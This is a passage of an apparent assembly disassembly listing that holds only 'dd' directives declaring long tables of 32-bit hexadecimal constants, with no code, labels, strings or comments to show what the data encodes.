		dd 39E1CFC2h, 9ED98A3Ch, 31241174h, 41646F4h, 0FC70144Fh
		dd 0BD82D5B9h, 96001D81h, 247CC8BFh, 919C7998h,	109A4EFBh
		dd 0AF742E80h, 60136855h, 70E99D29h, 6162805Eh,	1D498D31h
		dd 6EFC299Eh, 0E4642Dh,	0F057B7B1h, 300A3A7Eh, 5BFD8A12h
		dd 21A171ABh, 9A2D0F1Fh, 2ED8B5F3h, 29EB01E8h, 199D0B63h
		dd 0F8BC3E26h, 0D7D575C1h, 0C45EC1CCh, 21048AACh, 0A5BD3150h
		dd 0C75BF1B0h, 4596DAEEh, 3E48A181h, 0CCAAB464h, 584B5A65h
		dd 0AF8225EFh, 39D59C20h, 0E2C00A3h, 936BA091h,	4716E7BCh
		dd 63307506h, 359783h, 0E63F7C33h, 2F28BCC6h, 62955C9Dh
		dd 0F4965Fh, 400BD240h,	0D43212CFh, 25360A7Eh, 0F65F92ACh
		dd 3017B24Dh, 0E10E4FE3h, 35850916h, 0C56467F5h, 8515576Bh
		dd 30E71FC1h, 13F2F27Bh, 0D00FED70h, 78E91621h,	8C1CBCh
		dd 4D7A5221h, 16666D02h, 8B57B817h, 5B1D46E2h, 3569C901h
		dd 26EC375Eh, 0F3084A59h, 8E3D8837h, 2CC9B589h,	2B92617Bh
		dd 79E0CB16h, 31EF97C6h, 0E4B59440h, 11691871h,	221D945Fh
		dd 69CF5B95h, 8650F6F3h, 78AF07E1h, 26FA93A9h, 4B9DD6F9h
		dd 0F2B69098h, 8C36E3FFh, 0E9B87EF0h, 760B7470h, 0D4BDBA05h
		dd 0CCD62776h, 8035D2E0h, 0D6C600B0h, 0C2F92816h, 8F004296h
		dd 0CF83C50Fh, 2F23C18Bh, 0D50B359Dh, 26DCB5FFh, 6477E915h
		dd 66D097F7h, 81A41D3Ah, 0F77EC181h, 833F08F1h,	508B6176h
		dd 0C7E7BEECh, 0CC4EDA3Fh, 92007573h, 0A1D45BCDh, 41A059C4h
		dd 0BD77C6A3h, 5C168714h, 1A05307Dh, 6F053F3Bh,	2CA1BD23h
		dd 16885B9Ah, 0F7E537C1h, 8012DE2Bh, 0FBE3C72Ch, 0B360951Ch
		dd 3AE3EDD2h, 0BD31EF8h, 895769FEh, 0B6CD700Eh,	4800DC38h
		dd 0D0B01AF8h, 0E6ED4A2h, 859D01CCh, 1385A217h,	0C208C6F0h
		dd 43B78F12h, 0B5155DE0h, 0F800087Bh, 0A1D575Ah, 2778C379h
		dd 0AE48869Dh, 0C5B574E0h, 905F8BCEh, 760E45BDh, 915361D8h
		dd 0CE3D6AF8h, 85D49D7Eh, 0DC27A6A6h, 0C8764BFAh, 5FB9B947h
		dd 0DF04B7BDh, 0E2BA9BEEh, 2A5551C2h, 17A80FA9h, 31092CA4h
		dd 2A49B4Eh, 0B1CD1E2h,	82F805D5h, 0BEB83524h, 0C429AEA2h
		dd 0B639034Dh, 0B5C75E1Bh, 7457508Fh, 4A004F66h, 0FA0C142Bh
		dd 17509736h, 420DBD03h, 26A5BDCh, 2CE069EDh, 58D076A5h
		dd 0C22DB88h, 0A469FD9Eh, 900422A1h, 561CB356h,	0C85B3B0Bh
		dd 0EE7FC0F9h, 0B0304B7Bh, 0DC740095h, 0F838BF05h, 5B2D11B7h
		dd 0F9740490h, 0C920DAEFh, 0E6B8301Ch, 84E70033h, 0B1AB373Ch
		dd 0DB3981EFh, 47940490h, 0D3BC60E9h, 3B97DCE3h, 5FF4297Ch
		dd 5A476EB4h, 73275DF9h, 0BDF018D5h, 22A41E5h, 5955FF8Eh
		dd 8111BB49h, 45BF0210h, 6A3FD0B1h, 2FD35CA0h, 0BE001ABFh
		dd 0EA69C868h, 0EEB09767h, 0CE4EDB80h, 5EFE6AFEh, 0ADFE98h
		dd 8B2F89F8h, 81FF6ADEh, 0C8F5CF0Bh, 0E402DFA0h, 1E740E1Dh
		dd 0F98E4EF4h, 94AFD106h, 22951098h, 29E26F51h,	0BDDE3304h
		dd 0A84288F9h, 0C2D207Dh, 9304B04Eh, 0E6070DEDh, 59958170h
		dd 718C6B13h, 322246F1h, 40814D1Ch, 4BF2FF29h, 52E4C01Bh
		dd 5F4B0DB3h, 0C364DAC9h, 6A1A41C5h, 4FA060C6h,	4B88A3D8h
		dd 82D0B486h, 37B45C09h, 0D1BCB8EEh, 35B03AB2h,	60174486h
		dd 0D1B21A95h, 0B48D009Fh, 3A4199FCh, 1233C300h, 0D18B6159h
		dd 5C1DFC29h, 31987A16h, 414FBD09h, 8857945h, 20913011h
		dd 95090B1Eh, 0D57A1D29h, 0E495C07Ah, 0F5523D8h, 4CBF5220h
		dd 0F19525DDh, 14775669h, 532384EAh, 0FF1C0DD6h, 0E7202E03h
		dd 0F0CCD9Dh, 0AB3E6BDDh, 503F5660h, 67515A68h,	43EC3A8Ch
		dd 4BCDF34Fh, 0E5961EC0h, 21565F60h, 0EC8FF395h, 86095575h
		dd 55CF8259h, 5A7CCFC0h, 41A5D8CAh, 4113DD25h, 2D1F9A8h
		dd 0D969C900h, 765B778Dh, 8D4C9FEh, 0B9C2B875h,	0D9002D2h
		dd 98E5FE17h, 6DC7F65Eh
		dd 5BAF2018h, 923DF82Dh, 0FF9388h, 797D1197h, 0D643AE5Ch
		dd 0B1012AFCh, 39A23F58h, 0B83B10D2h, 689DCF51h, 27B91D09h
		dd 267BF742h, 0B8650B70h, 901344F6h, 6B431907h,	8A40C2B4h
		dd 0E9E2FEh, 0ECADF17Eh, 6C88C62Ah, 58616007h, 0F944F28Bh
		dd 0F839B2BCh, 1213662Ch, 6581E208h, 0F844C9F6h, 22C3D22Bh
		dd 49B1DC9Dh, 0F807B27Ah, 0BE981609h, 446F89h, 7EC701F7h
		dd 25522747h, 0D70A3F0h, 0EAE9CA25h, 0E95355A6h, 84A0D472h
		dd 0BFF57B20h, 11A42C20h, 9EBA00CCh, 0BBAAF24Fh, 76B4D05Ch
		dd 38C7516Bh, 0AAA21609h, 552DEA5Fh, 1964D64Dh,	0B1F67660h
		dd 22884C13h, 68D48013h, 5910DDE8h, 0E8800409h,	0F1BC61C1h
		dd 0F7E62AADh, 1CB59D08h, 0A9BD0107h, 0C4DB7969h, 0B8F9448Ah
		dd 56E3FDB7h, 53E2F880h, 0D25E2C13h, 0BBD711A8h, 51A1C916h
		dd 9A8F752Eh, 7D6DC121h, 545AE1FFh, 302F69C7h, 0E5973316h
		dd 0B5B91750h, 0D9B7517Bh, 618A8949h, 0F243BA79h, 9BFF8404h
		dd 7123C0FBh, 254995EEh, 0D6E56BE9h, 5C04DE0Bh,	0EC74F475h
		dd 30318958h, 0DBBBCB13h, 0DA949727h, 81F7744Fh, 8CD458B0h
		dd 315AC40Fh, 5B49368Dh, 0DC5160h, 0A15E2DADh, 0CCE32EAEh
		dd 0C01285DDh, 0DFF0474Bh, 69BD270Bh, 0BC70F689h, 1E783B93h
		dd 974AFA8Eh, 19CDAA3h,	2C9BFB84h, 3EB028C0h, 5C164002h
		dd 0AEE0A7E7h, 84B42560h, 8094AE4h, 9979267h, 0A7145B10h
		dd 0F342E34Dh, 10667CFDh, 0BDF34A16h, 253C364Ch, 0C42EF2DAh
		dd 0FF120341h, 453C1836h, 0F6073004h, 585A9C13h, 99316681h
		dd 2536A4A4h, 56EA8955h, 3B605104h, 78531ACCh, 0D8F2C5Ah
		dd 0FEA850BCh, 0C32D7002h, 62D9858Ch, 7B105551h, 300879Bh
		dd 6D101B20h, 0AFD17Ch,	4A7DA828h, 0F7F3C1F1h, 78EEBE27h
		dd 9D5B73E7h, 34400C71h, 9D171B75h, 31631FD2h, 2F5AD028h
		dd 5D40B4F0h, 64F240BAh, 0C9041241h, 9788AEA4h,	12531656h
		dd 0B81BB334h, 1ABBC764h, 0D41D8E43h, 5EFF6EFBh, 127042CCh
		dd 0E5552965h, 8DF76E51h, 6D6E97A0h, 7055BA2Dh,	0A2899552h
		dd 2F43BD6h, 3B5CD4E8h,	0B8E24B69h, 0BDE6F32Bh,	0C58D5495h
		dd 18DAEBF9h, 0EAEA98D3h, 9264FA01h, 8ADA8B46h,	612074DEh
		dd 75199D01h, 10E67AAEh, 99B017B2h, 600172F2h, 0CA0BB9Bh
		dd 0C87B4A98h, 3300DEC4h, 0EAB8A9DFh, 1696F8BBh, 0BD5F1237h
		dd 1291381h, 3104D0B7h,	0AB0EEDBDh, 1B88359Ah, 1C1973C0h
		dd 24E01A6h, 8529E8B0h,	29426FB5h, 2B19800Fh, 90002059h
		dd 1527E025h, 38E70097h, 0BDE33156h, 4048E9BCh,	9D5919F0h
		dd 0DB7A34C0h, 972C1F4h, 702C9FB7h, 81980522h, 0C058E212h
		dd 61F60205h, 1F3D27C1h, 93E1DD6Bh, 232DFB20h, 274582F1h
		dd 0B8C1231Eh, 35BB507Eh, 914A2EC8h, 8E0F09F9h,	4097BE66h
		dd 14F3BBF0h, 0AC04C435h, 0F637588Bh, 92EBDB80h, 5B0D6DD3h
		dd 4FB7E812h, 7EE3F5E7h, 0D605DAE0h, 0B5130B7Fh, 0B0040C74h
		dd 8AF1260h, 0BF812F4Ah, 2BB0651Bh, 9B5A363Ch, 0D95E80D7h
		dd 4476B64h, 658D89CAh,	596FBA31h, 0D4051623h, 63B956BCh
		dd 92919D84h, 0CACD614Ch, 37349FE0h, 931E9D93h,	4FCE4D9Dh
		dd 8CA0F2B2h, 2CB32313h, 108E01C2h, 0C6AC4E2Eh,	0CDAB0493h
		dd 0EE5DE819h, 254CE896h, 473EB01Bh, 6C3801BDh,	0CDF67A35h
		dd 7EF76A77h, 0A803AD97h, 3E2A0514h, 0ABEB0854h, 0B94B7EDAh
		dd 26FB843h, 9798287Fh,	0C1543EF0h, 6EE8F564h, 1D3BBC0h
		dd 9A97785Dh, 0B560D86Ah, 14640BEDh, 98609C62h,	497AE46h
		dd 9BD4D864h, 0E5B825FDh, 0F8A32509h, 0E4485D2Fh, 0B325DE8Bh
		dd 54E159C8h, 9BDEE913h, 0E3D272ACh, 0EE115BFFh, 7EB38B92h
		dd 0CA509AAh, 0D45A0374h, 7A00D45Eh, 0A6855351h, 11316A05h
		dd 762ED99Dh, 0D21C130h, 9D1599BDh, 24122D3Bh, 6FEB19B1h
		dd 1D2391h, 4617C52Bh, 633C75ECh, 855F2573h, 49052472h
		dd 65AF16A9h, 0A0E2A6E4h, 137E651Fh, 0A1887155h, 0C0A65B17h
		dd 0C53638C7h, 0E2E54834h, 350E68C0h, 23F6EBD4h, 5E8F0A2Dh
		dd 319FD693h, 7608260h,	55C7AAA1h, 15644ECDh, 0AD4F5961h
		dd 649C0A3Ah, 0D8ACD3A5h, 0AB07744Ah, 0F025605Ch, 7BC2EFE5h
		dd 8892D72Dh, 9FAC785Dh, 176419EDh, 9C5DC660h, 8D09F513h
		dd 0DF81E490h, 4AECF4AFh, 89138852h, 991FCCA0h,	18B0D200h
		dd 0DE068E5Dh, 0CBE6071Ah, 74DFF242h, 38A3EA96h, 35ED82Eh
		dd 1A3B9F03h, 5D6EABFCh, 787C2C2Fh, 5D298D09h, 9D163C94h
		dd 10E9055Dh, 550A0ED3h, 8869A313h, 8725BB3Ch, 0DA8929D1h
		dd 3B97750h, 7B6BC655h,	0E5D783EAh, 70E00137h, 0D07DFE5Fh
		dd 7C3AFA92h, 0E7760234h, 5E3D9529h, 2FDDA071h,	0D6742E59h
		dd 0C07294DEh, 8DDFF79Ah, 9DAD4Eh, 72A8A62Dh, 0A5097D5Eh
		dd 889791FDh, 0D18DF82Ah, 8C17A859h, 36918C09h,	0A7EF79FCh
		dd 20005244h, 4BA37E0Bh, 9D416098h, 10E1684h, 820F535Bh
		dd 1320B777h, 0B8A5F4Eh, 0BD4B5938h, 0F9E8E90Fh, 7BA81DE6h
		dd 0B13B84BDh, 0AB0E941Fh, 0AA69D39Dh, 3802E9A8h, 0B2E0EAF8h
		dd 4DBB401Dh, 4F129D01h, 5058275Eh, 32F607BFh, 0D25B7101h
		dd 0E4D5F298h, 9337BD7Eh, 6D051A12h, 0C9EC9171h, 0C4D61480h
		dd 6D05E194h, 814EF783h, 0CEADDAABh, 1211C17h, 3AEC9DEEh
		dd 0A5D52056h, 4F5B2540h, 547B2090h, 1D04438Bh,	0B3AA3A1Eh
		dd 0EDEDCFBh, 7B541F0Fh, 0BB7EC060h, 6560276h, 505F6134h
		dd 30B4E57h, 5E30219Dh,	0DE05FCB6h, 77D8E0D0h, 0FD4FF3ACh
		dd 6EEF4F56h, 5BFA2653h, 60081301h, 7A53CBD1h, 0A64BC0E0h
		dd 0CE270033h, 0D2C5FC20h, 61FA0F04h, 3F87B707h, 0C48E3E5Bh
		dd 37B35FDBh, 79BD2304h, 0ED1102Ah, 0C1EDFE9Dh,	6D7A48BBh
		dd 0D1BBE06Fh, 40135E16h, 2125D3C1h, 0E845B800h, 617BD51Ch
		dd 7E044267h, 0A04CDCB4h, 88A1196h, 4AE1E75Bh, 9BB0D3F7h
		dd 674A735Fh, 8D3888h, 1A5163F3h, 5BF9836Fh, 0CB032000h
		dd 8C9C9E09h, 8DD3B52Ch, 2EFA1D8h, 61839791h, 6675CF30h
		dd 0F8A604DCh, 0B66A5FD8h, 5183F1C4h, 88D8183Fh, 4CB2AD95h
		dd 5ABE7395h, 3AD52D19h, 0FFF82630h, 0B8BB04D1h, 0BC5D276Ch
		dd 577AA3FFh, 0C4A0673Ch, 8E0565AFh, 7B2E251Eh,	29493AAh
		dd 9BDD610h, 8805ED50h,	0E61D0F5Ah, 89173816h, 0CD8754E2h
		dd 0AA27D081h, 0CD9F505Bh, 19D7E98Ch, 716A6AFEh, 719C1CBh
		dd 5E0F2B82h, 0FEA758CBh, 596F7BE7h, 48275D00h,	64987F9Fh
		dd 183D385Ch, 85811BD9h, 510DCB09h, 549758C6h, 849869FFh
		dd 0D1009C19h, 5270BDCFh, 13016013h, 0E625718Dh, 0C29D00D4h
		dd 3294BD2h, 0ED2D0E62h, 8AC5D168h, 0E79082BEh,	98FD8F62h
		dd 251E989Eh, 14FF0B8Fh, 81D6A848h, 25F37AF7h, 0C3D37652h
		dd 113C8B2h, 0C94E92BFh, 45F72A68h, 25158411h, 186460h
		dd 50A9A7CDh, 96133352h, 84189101h, 61EDCB80h, 0A85AF22Ah
		dd 0F3E8E1h, 0FA05B63Bh, 0C895E381h, 6487224h, 0C2FECD2Dh
		dd 79E016D3h, 0BD95170Dh, 96140055h, 0A628FD5Ch, 63F8B197h
		dd 2570F72Ah, 80817C4Fh, 3A33CB7Dh, 0B05CBFEDh,	0E6D90077h
		dd 0BD295070h, 16F5BA45h, 471E45Fh, 0BDB337E3h,	988A76FEh
		dd 264014h, 7ED9A8E4h, 0B871E561h, 0B6446201h, 110BF38h
		dd 0BBC6906Eh, 9886BC5Ch, 23D54E81h, 0C1CADE9Fh, 3740385Eh
		dd 1DC54C5Ch, 2085EE2h,	0EC52CBD6h, 1021774h, 0B032D85h
		dd 221228F6h, 0BFD2D1E8h
		dd 0C1BF2322h, 5DCA0AE8h, 4D9DD602h, 0D14E9B72h, 181A88h
		dd 0D6D36D31h, 5FA69FB9h, 78C190B5h, 0E71D0922h, 8A0A09DEh
		dd 262A102Ah, 0BB3BBA5Bh, 0A5E94151h, 0AC85F57Ch, 1EBC2B8h
		dd 0C06549F6h, 0CF85BEFh, 0A171BA85h, 323A1259h, 4C2F1F25h
		dd 4B500B77h, 809DAC56h, 8C34A6B2h, 0F1700A4h, 74CCEB5Dh
		dd 500DA845h, 0A65F601Bh, 0E92D312Fh, 84CD100Ah, 0D6580162h
		dd 7016EEE0h, 26223A75h, 8671293Fh, 74314102h, 826DDFA8h
		dd 0BB703500h, 0F4A59A46h, 28329D5Fh, 0BFA8B07Dh, 86EE98FBh
		dd 0C19D1690h, 0A137EC2Ch, 0E93A7C76h, 3BC77h, 0C96EBB0Ch
		dd 2265DB6Dh, 0F6324992h, 74FC523Eh, 800F6226h,	0A1EF317Fh
		dd 0FB65BB30h, 0D6A6B901h, 913D77h, 0B0EC7376h,	3E13CB12h
		dd 20B04C0Bh, 0CF44971Eh, 119904A0h, 4037DD82h,	697FD6ADh
		dd 9599B05Dh, 0F62A4B65h, 0CCAB01E2h, 0F3FE7DB4h, 92A123F8h
		dd 0BD5B5A52h, 9B15A8A0h, 84A40DA1h, 73FC1D80h,	15A54B81h
		dd 0F0F7B67Ah, 4E0C8D8Ch, 4C9E8F1Dh, 75692C07h,	43C42513h
		dd 0B74F5FBCh, 0EFC2A0ACh, 2719E868h, 2EF4DA8Bh, 1277BBD6h
		dd 0A9CAC8E6h, 7967B502h, 74EE6E46h, 9436A69h, 175D09B9h
		dd 18C6A725h, 1AE3C195h, 4376FB07h, 28A7A459h, 9AE375Fh
		dd 0E47DA7C5h, 0DCB0A013h, 0AD1F91B4h, 0F200D844h, 0F0035780h
		dd 139DE22Ah, 9B19F8h, 0B10CE19Eh, 0F52CB48Ah, 893EB75Bh
		dd 0D36B4160h, 1818594Fh, 2A2E0992h, 81047590h,	0E1FF45E5h
		dd 30D3CDDBh, 0A7129415h, 521A4195h, 5B26096Fh,	5D4253D1h
		dd 30D705h, 0DD046BAAh,	0A8A96FE0h, 5FA13DE8h, 669E3B05h
		dd 0FCF60B80h, 9099C43h, 5516119Dh, 86092845h, 0D83CD3F6h
		dd 0FA098654h, 0E6604108h, 0E08100A4h, 6E9037EFh, 0B004E1BEh
		dd 606145D9h, 4AB8B9A9h, 7B96CB3Dh, 58123AEBh, 42E0F7F6h
		dd 0DB03D4E5h, 0BF8C7DA2h, 1ACAD9EBh, 6F79163Ah, 4FA709E9h
		dd 40847560h, 0B505817Dh, 9C953F11h, 10994881h,	2268A37Bh
		dd 0C673B551h, 2603A2Ch, 0EAB1ECh, 668C085Fh, 5E2F93BAh
		dd 13FD17B8h, 8161F853h, 431709DFh, 48D11C83h, 0CF40609Fh
		dd 0E3AD32Bh, 29B51901h, 0FE509317h, 0F957EF62h, 41F94BE4h
		dd 0D5BB6900h, 73700EBDh, 226F89Dh, 0A720DFB4h,	9A771D82h
		dd 7011DB4Dh, 1612C6F0h, 0C88E9D8h, 0FACB003Eh,	8D29B09Bh
		dd 299F1635h, 2FE45597h, 685B5103h, 0D352365Ch,	0A3840581h
		dd 0F616CCCDh, 94B4E036h, 5A9775D1h, 6BECF17Eh,	0D92F56A9h
		dd 0C9D89D7Bh, 0B4029010h, 1B467E71h, 233FDF0Fh, 0B9E30D81h
		dd 0B1E930E2h, 42C90F41h, 6F6E0B25h, 0BE970039h, 0D68F330Eh
		dd 0BFEC025Dh, 31C401B1h, 8EC53F74h, 888F9E9h, 59094D26h
		dd 0BE385D1Fh, 911337BBh, 71AF5A9Eh, 3A2EC584h,	27462F76h
		dd 7B5E09B1h, 1C467Eh, 0DD0B1593h, 279933C0h, 5A58D40Eh
		dd 70EF3F25h, 5D9A8A06h, 18F8AB5Bh, 1F8009EAh, 44D0ADD6h
		dd 0C7807299h, 4C8F093Ah, 0DDF1000Eh, 7EA853FEh, 0C9F0C2A2h
		dd 0BF00D1EAh, 0C19F608h, 17B3505Bh, 0BE348918h, 46202B6Fh
		dd 4BA479BDh, 0F152E873h, 22E525C1h, 7FAF1227h,	489FB952h
		dd 0BD29B371h, 0BE01AE96h, 7277D112h, 73948B61h, 3F005FE9h
		dd 3D80D803h, 0A200FB39h, 6FB3C05Dh, 489AE42h, 92327535h
		dd 8FA2FBB4h, 4B4DBB1Fh, 0CDD671DCh, 640C00DEh,	0F0BAC6BCh
		dd 3E029EDBh, 6782EBBh,	4A477420h, 0C809F40Dh, 898E64B6h
		dd 29764D9h, 3B14F8A2h,	4755CAE1h, 20EA285Ch, 42BF1BF9h
		dd 8082B729h, 0CAE2798Bh, 7A09CBBEh, 0FF52E6ACh, 0EDB8F7E4h
		dd 9186B59Dh, 37A78019h, 5BF0622Ch, 0FD39C313h,	857C61CAh
		dd 0BF0102DCh, 3E7CA423h, 20CE50C1h, 1F408DD2h,	5E1E9D61h
		dd 40B26D95h, 53E59928h, 8260D9B5h, 19C9B529h, 3EE35B05h
		dd 257BFC5Bh, 66B6482Dh, 0B94525BFh, 5113CBE5h,	1447BAEh
		dd 93693310h, 132E3BBAh, 402B93A7h, 6EFAEE4Ah, 61BB4A07h
		dd 3A8E0E66h, 0BBE0BE3Ah, 0BF047A38h, 0C995094Dh, 0A28EE7EBh
		dd 91E48098h, 0F6B7DBBh, 802A4E9Eh, 27E8A89Fh, 0E1455599h
		dd 0DE041109h, 3500F49Eh, 14428D92h, 9ED9185h, 619D29E4h
		dd 0DA782C7Eh, 0C0DCB403h, 4A36F75Bh, 5F57FC01h, 0D1525DFh
		dd 108DA73Bh, 0BBA434BDh, 0E62A2E29h, 0AF22E0E3h, 0F63A9D73h
		dd 9084B9B5h, 0FBCCED8Fh, 774300C5h, 3B556841h,	970061C0h
		dd 456C2893h, 17074690h, 0AC66D656h, 20058F79h,	842ADA44h
		dd 15670ED1h, 0E1407E57h, 0BB964B4Eh, 0E89D5B05h, 79E25053h
		dd 6500BF4Eh, 7244D3Ch,	5F2805B7h, 60F88B96h, 2DBD33A4h
		dd 0ED9D094Eh, 0B62B9521h, 3018B2A8h, 0EE2FE6Eh, 7C08735Bh
		dd 0CA8E970Dh, 50F51F5Bh, 0F1C2630Bh, 185DA518h, 42EDB58Eh
		dd 4081921Eh, 493C3656h, 217B0FCFh, 4EC6E884h, 42AFED16h
		dd 1C759557h, 7EDFBADDh, 7B654079h, 4E00D958h, 0C91D2473h
		dd 120DCCB2h, 0A2910F1Bh, 78F707A2h, 0D1E03621h, 0CA311Fh
		dd 5B85AABh, 446EBC4Ch,	0D7E9B24Eh, 0B98D2982h,	7F25AB56h
		dd 0BC80B8B7h, 0EB8D055Bh, 0A7521EDCh, 2D4427E4h, 501D7501h
		dd 39277426h, 0A30AFC6Eh, 594A41Bh, 0C01EDEEEh,	691FB956h
		dd 0B596EAC7h, 0BB14B16Ch, 6CF236Fh, 963542CBh,	0A92A5A14h
		dd 0BDE6780Bh, 740F192Dh, 498751CFh, 9A206AB0h,	9DA38BF4h
		dd 4D988BD8h, 5F3B3165h, 0FDF9DEEh, 0FA91C064h,	0F07B8CF9h
		dd 0B9600484h, 0FB0E633Eh, 8A940412h, 25138BEEh, 0F6C2F64Dh
		dd 4F50323Ah, 0A1B8D20h, 48190B37h, 0A85863D1h,	82F83795h
		dd 0C04ED442h, 50656557h, 7E006C4Bh, 4457EB9Eh,	9FAD1615h
		dd 0EE40767Eh, 25A7F51h, 0E3E1F264h, 295FCEEDh,	31651830h
		dd 646100EFh, 630233B3h, 7804FA56h, 0E29D3CCAh,	8D2B9E8h
		dd 0BF810511h, 7294667Ah, 1688645Ah, 46BCE4C0h,	20FF9060h
		dd 8B5F30F9h, 613B29E2h, 0A646D8A7h, 25C259A2h,	27CEDD5h
		dd 2FDD9D89h, 700D65F7h, 5C00433Ch, 0D767B3D8h,	0BDC6C4AEh
		dd 8F41BC6Fh, 97F63B7h,	0AD762FBDh, 2F1646FEh, 1C5778CEh
		dd 6DFFF1F4h, 71C0C94Dh, 1386AF4Fh, 0A15AF053h,	0DAF16BBFh
		dd 0CB57BD2Eh, 121718F8h, 807004DBh, 0BA609065h, 0D00018B3h
		dd 70EBC1B9h, 0DD0171F0h, 1E3C9D7Eh, 6080665Fh,	0C23B961h
		dd 50EC01A5h, 0AD6E905Bh, 0B0B31302h, 0CE5CFA53h, 0EA781A40h
		dd 0BAE34F60h, 7ED75260h, 798197CFh, 0CE898D01h, 8B301444h
		dd 0F79EAFAh, 0EE31F4EEh, 0B2214B2Dh, 97293F2Bh, 0B9B42665h
		dd 0EC6BF3D1h, 0E6009630h, 310F6E9Ah, 37D05A8Bh, 0C434D052h
		dd 6A4F3DFBh, 0BDBC1EB9h, 0EF18B200h, 7499A94Eh, 80353EF0h
		dd 0EB6A9B12h, 702D88h,	0A8BF401Bh, 7F800A2Ah, 1455F301h
		dd 0D477406h, 9D595DCEh, 8D7BBB81h, 0FC6B751Eh,	6AAED694h
		dd 0F514248Bh, 0D1FF8DC1h, 0FDF00666h, 527B0168h, 0AD86A228h
		dd 0E51CC425h, 0FC5A10FCh, 71168C15h, 0B8892386h, 4311DEDAh
		dd 1017026Ah, 37EC21C9h, 78E0BFC0h, 0AB99419Bh,	7059C8A7h
		dd 0B35B00E2h, 0CC813898h, 4159320Ah, 1BAB93C9h, 63C263CFh
		dd 12596757h, 0EB425683h, 77B50009h, 372D0C45h,	61AC007Bh
		dd 8B60964Bh, 0C580CB0Fh, 0BD853D31h, 0F1C814FDh, 0F5266005h
		dd 6B1DB1BBh, 1EFF546Ch, 0CD25679Dh, 965DE985h,	0EB810239h
		dd 44F1D111h, 5A8F7375h, 41C46DD4h, 427FA3ABh, 7A1A00BCh
		dd 17609E45h, 0E22007Bh
		dd 0EBE4376Fh, 6A2E3315h, 552DF4FFh, 51B5AF21h,	35BD1031h
		dd 0D1799D09h, 0B0571144h, 0B0812183h, 25E61034h, 50E3F970h
		dd 4F93104Bh, 1A0585F7h, 24BB2F89h, 38CDBA31h, 2941202Eh
		dd 0B2AA5595h, 0A526C9D7h, 0CE3AB83Ah, 785F29BBh, 25BF002Bh
		dd 2B23BE05h, 0D7A329C8h, 0D18BD519h, 0CDBD9176h, 665B134h
		dd 272DD5D5h, 2C89854Bh, 0C03EC27Ch, 0A505C94Bh, 30FC69D1h
		dd 0BDACC114h, 0BFD18E0Ch, 0BC81A8D9h, 3D1C8211h, 3C28260h
		dd 5D14C3C4h, 0ECFC1F10h, 9B9EB5Eh, 26E8C3C0h, 0B197615Bh
		dd 0AA14120Dh, 7E47CBD0h, 371500C7h, 4C015A8Ah,	0A904DC78h
		dd 83B7EC8Fh, 378817BCh, 18DF8084h, 8C15CEC3h, 8802E212h
		dd 0DF82BA06h, 0AE6AAE8h, 5B349050h, 95253CA1h,	0EAB55283h
		dd 29F70B31h, 40F73B7h,	0F6ED8C1Ch, 4B2FF00Ch, 37E22FB4h
		dd 0C44B5F5Eh, 0A92A0048h, 995E555Dh, 0BD709531h, 9D9D57B1h
		dd 70BB2992h, 56CF8170h, 0EF49E0Bh, 7C4609B9h, 6FAAC08Ah
		dd 0C11F58D3h, 6EC05214h, 80D972D5h, 0A8E90474h, 0AED37024h
		dd 99C142D4h, 75DA1FF3h, 3D051337h, 7EC13AB3h, 0AF0526ADh
		dd 0B184DB74h, 0E64B8BBDh, 2BD909F2h, 701FFBD2h, 4D97FC71h
		dd 2235A767h, 0E5F2A001h, 0EC1012E9h, 3D04BD6Ah, 917793D4h
		dd 40550F80h, 1B3A0429h, 0EF270982h, 0A54F8B6Eh, 95EB4153h
		dd 3BB93A20h, 3C602AADh, 9ABD8E4h, 0B3F897D0h, 9E11E02h
		dd 0F0E9C8F4h, 0FB9995E5h, 0C9242A56h, 0CA0018BCh, 23C7ECF8h
		dd 65E88E2Ch, 2E645604h, 2CC45BC4h, 0B49CE2BAh,	2AB33C84h
		dd 61B76B02h, 7C60E0DCh, 5B09E549h, 0BA038D0Fh,	0E51C5C5Ah
		dd 86FF9F90h, 2770EEB2h, 0BF55EA10h, 0DF501F8h,	0D45B4CAAh
		dd 0CE218949h, 0D6DC4812h, 0D542212Ch, 0F9125C24h, 0E3C03F31h
		dd 73619AF4h, 220600A9h, 0AD66B2ABh, 9505F45Bh,	0E1FF5617h
		dd 0E6CE9CC1h, 0A4DBAC3Ah, 0EB337393h, 811B017Dh, 0B1051ADBh
		dd 8282F6Eh, 6033C471h,	0D10DC751h, 3058E673h, 134ACD92h
		dd 86E15BA8h, 2839B41Fh, 6028E019h, 9731BC40h, 6E7EED61h
		dd 96B5004Ah, 0A82E8053h, 5F5A9FF3h, 57D98C12h,	0D9973CE8h
		dd 67F82F7Bh, 0E1845F8Ch, 0BF84514Bh, 0C2C29BABh, 5F495C22h
		dd 71006864h, 86E19FEAh, 12F8092Dh, 247CAA5h, 1EA9BDBBh
		dd 8D044D0Ah, 0CCB82071h, 0BE0140C4h, 7A83EEDEh, 46A89541h
		dd 1D00BCB1h, 18F78191h, 0C442BEDBh, 0AC11717Eh, 0DEDB53Fh
		dd 0CF1C1FA8h, 5BBEB509h, 9AD24FB2h, 7A7F806Eh,	714C77E8h
		dd 0D0680016h, 8BEB818Ah, 574B2062h, 0FED7B01Dh, 0F927A9B9h
		dd 0F562AA09h, 49BDF7h,	68B9188Ch, 6569503Eh, 0AF05F9BCh
		dd 317531ABh, 0C06B5B0Dh, 7A53C168h, 324EB7E0h,	693E37AEh
		dd 0D2552ED5h, 1BA2E9A6h, 5FF0530h, 7FFE51BFh, 0CF81AFE1h
		dd 7A202F0Bh, 0F5E924DEh, 9C00FC1Ch, 12D7EB1Eh,	4B46DB38h
		dd 0E9BB8568h, 0AC3FED89h, 25624D5Dh, 7298FD15h, 2B3F0FD5h
		dd 66A4001Bh, 0C499597Fh, 0AEEC0211h, 9FFE7193h, 0DE25E55Ch
		dd 0A13AE048h, 0AC0054B2h, 82D82538h, 1581198h,	0D2773E1Fh
		dd 207399AEh, 23F8BD0Dh, 632F5F81h, 0FFA8500h, 0BE9F916h
		dd 0CF17881Ah, 0DEC943AFh, 9D2BB130h, 0D31A7925h, 0D2AEF819h
		dd 30ABF03h, 0B095F9B5h, 9E794B8h, 8CB39623h, 0A02C1B74h
		dd 73C9FE67h, 7E867050h, 4CDFF01Dh, 9AAFF027h, 0EF9A95C0h
		dd 2379BE82h, 9F1A1C5Fh, 0E69EE10h, 0D0266401h,	6E7A7D18h
		dd 1332BB30h, 0D1505F9Ah, 6A4BE9Bh, 30222F0Ch, 9DD53AF8h
		dd 0D4CA77FBh, 184992F9h, 9178B8h, 6C63606Ah, 64D570B6h
